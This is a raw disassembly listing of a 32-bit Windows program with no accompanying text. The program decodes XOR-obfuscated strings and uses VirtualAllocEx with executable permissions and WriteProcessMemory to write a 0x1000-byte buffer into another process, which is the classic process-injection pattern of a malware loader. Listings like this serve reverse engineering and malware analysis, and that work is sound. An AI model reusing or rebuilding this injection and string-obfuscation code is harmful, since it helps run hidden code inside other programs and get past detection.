call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x40d793
mov dword [ebp - 0x20], 0x94b04fdc
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x80]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 8
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb95882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x20], 0x6c16c6ac
mov dword [ebp - 0x1c], 0x83f0e2d7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x20], 0x66f2b25d
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0xe0]
lea eax, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xa0]
lea edx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm1
lea ecx, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 0xa
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
call fcn.00402c40
push 0x8000
push 0
push dword [ebp - 0xf4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x40d793
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xfc12d0ca
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x20], 0x2b44acfb
mov dword [ebp - 0x1c], 0xb5c7c8f7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x99ff72a
mov dword [ebp - 0x1c], 0xb830e8b9
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x618d7300
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
push 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0x1c
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x154]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40ac29
mov dword [ebp - 0x20], 0x94b04fdc
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x80]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb95882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x20], 0x6c16c6aa
mov dword [ebp - 0x1c], 0x83f0e2d7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x20], 0x66f2b25d
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0xe0]
lea eax, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xa0]
lea edx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm1
lea ecx, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0xf
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 0x10
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
call fcn.00402c40
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0xf4]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x154]
push edi
call esi
jmp 0x40d793
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xed13f1ed
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xbc], edx
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0x2b7590f2
mov dword [ebp - 0x1c], 0x8694c8f0
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x668aa247
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov esi, dword [ebp - 0x194]
mov ecx, eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
test esi, esi
jne 0x40aff8
mov dword [ebp - 0x20], 0x94b04fdc
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x80]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb95882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x20], 0x6c16c6ab
mov dword [ebp - 0x1c], 0x83f0e2d7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x20], 0x66f2b25d
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0xe0]
lea eax, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xa0]
lea edx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm1
lea ecx, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x12
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
lea edx, [esi + 0xc]
mov byte [ebp - 4], 0x13
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
call fcn.00402c40
push 0x8000
push esi
push dword [ebp - 0xf4]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x154]
push edi
call esi
jmp 0x40d793
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xfc12d0ca
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x20], 0x645192f7
mov dword [ebp - 0x1c], 0xa3dcfee4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x20], 0x9b1fe0b
mov dword [ebp - 0x1c], 0x9130f4af
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x20], 0x41e2074e
mov dword [ebp - 0x1c], 0x9285301e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x20], 0xa971ce6c
mov dword [ebp - 0x1c], 0xf230560b
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x20], 0x50f36eb1
mov dword [ebp - 0x1c], 0x50925e0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x184], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0xd951ba09
mov dword [ebp - 0x1c], 0x97533979
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x174], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0x10d31dc2
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x1c], 0x57115c0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x16c], ecx
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x190]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], ecx
xorps xmm1, xmmword [ebp - 0x170]
lea edx, [ebp - 0x150]
movaps xmmword [ebp - 0x130], xmm1
mov ecx, esi
call fcn.00404c50
push 0x40d7c0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0
push 0x1000
push 0x40d7c0
push dword [ebp - 0x194]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40b46b
mov dword [ebp - 0x20], 0x94b04fdc
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
movaps xmm1, xmmword [ebp - 0x80]
xorps xmm1, xmmword [ebp - 0xd0]
movaps xmmword [ebp - 0x80], xmm1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.004086e0
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x20], 0xdbe217b0
mov dword [ebp - 0x1c], 0xb95882cf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0x20], 0x6c16c6a8
mov dword [ebp - 0x1c], 0x83f0e2d7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x20], 0x66f2b25d
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
movaps xmm1, xmmword [ebp - 0xe0]
lea eax, [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xa0]
lea edx, [ebp - 0xe0]
movaps xmmword [ebp - 0xe0], xmm1
lea ecx, [ebp - 0x1c0]
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x90]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x15
push ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 0x16
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0x120]
call fcn.00402c40
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0xf4]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x154]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x194]
push edi
call esi
jmp 0x40d793
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xc0]
mov dword [ebp - 0x20], 0xb4ed6eae
mov dword [ebp - 0x1c], 0xfa38ccdb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x20], 0x2a5fdcea
mov dword [ebp - 0x1c], 0xb4d5d9b4
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x20], 0x4686f700
mov dword [ebp - 0x1c], 0x9d62f9bf
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x20], 0x21ad1741
mov dword [ebp - 0x1c], 0xf58f614a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x20], 0x94b045f5
mov dword [ebp - 0x1c], 0x887ba29d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x20], 0x4436fc9e
mov dword [ebp - 0x1c], 0xc6b4ad94
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x20], 0x66f29267
mov dword [ebp - 0x1c], 0xf81091cb
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x20], 0x618d7320
mov dword [ebp - 0x1c], 0xf5f7516a
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0xa0]
movaps xmmword [ebp - 0xc0], xmm1
